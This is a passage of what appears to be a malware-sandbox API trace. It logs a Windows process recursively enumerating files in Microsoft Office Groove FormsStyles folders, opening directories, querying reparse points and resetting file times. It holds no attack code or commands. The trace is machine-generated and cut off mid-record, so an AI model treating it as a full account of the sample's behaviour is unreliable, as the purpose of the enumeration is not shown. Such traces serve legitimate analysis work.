Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.002] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0079.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8800 [0079.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d71d0 [0079.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.003] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0079.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8820 [0079.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d72d8 [0079.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0079.004] GetLastError () returned 0x12 [0079.004] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0079.004] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.004] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.004] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0079.004] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0079.004] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0079.004] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0079.004] GetLastError () returned 0x12 [0079.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0079.004] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0079.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0079.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0079.005] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x11ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0079.005] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="")) returned 1 [0079.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0079.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0079.006] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0079.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.006] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0079.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.006] NtClose (Handle=0x180) returned 0x0 [0079.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0079.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0079.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0079.007] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0079.007] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.007] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0079.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0079.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8840 [0079.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d73e0 [0079.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.008] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0079.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8860 [0079.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d74e8 [0079.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.009] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0079.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8880 [0079.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d75f0 [0079.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4a00) returned 0xacb2b8 [0079.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.010] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0079.010] GetLastError () returned 0x12 [0079.010] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0079.010] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0079.011] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.011] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0079.011] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0079.011] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0079.011] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0079.011] GetLastError () returned 0x12 [0079.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0079.011] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0079.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0079.011] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="")) returned 1 [0079.011] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xadd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0079.011] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0079.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0079.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.012] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0079.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0079.013] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0079.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.013] NtClose (Handle=0x164) returned 0x0 [0079.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0079.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0079.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0079.014] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0079.014] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.014] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0079.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0079.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c88a0 [0079.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d76f8 [0079.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 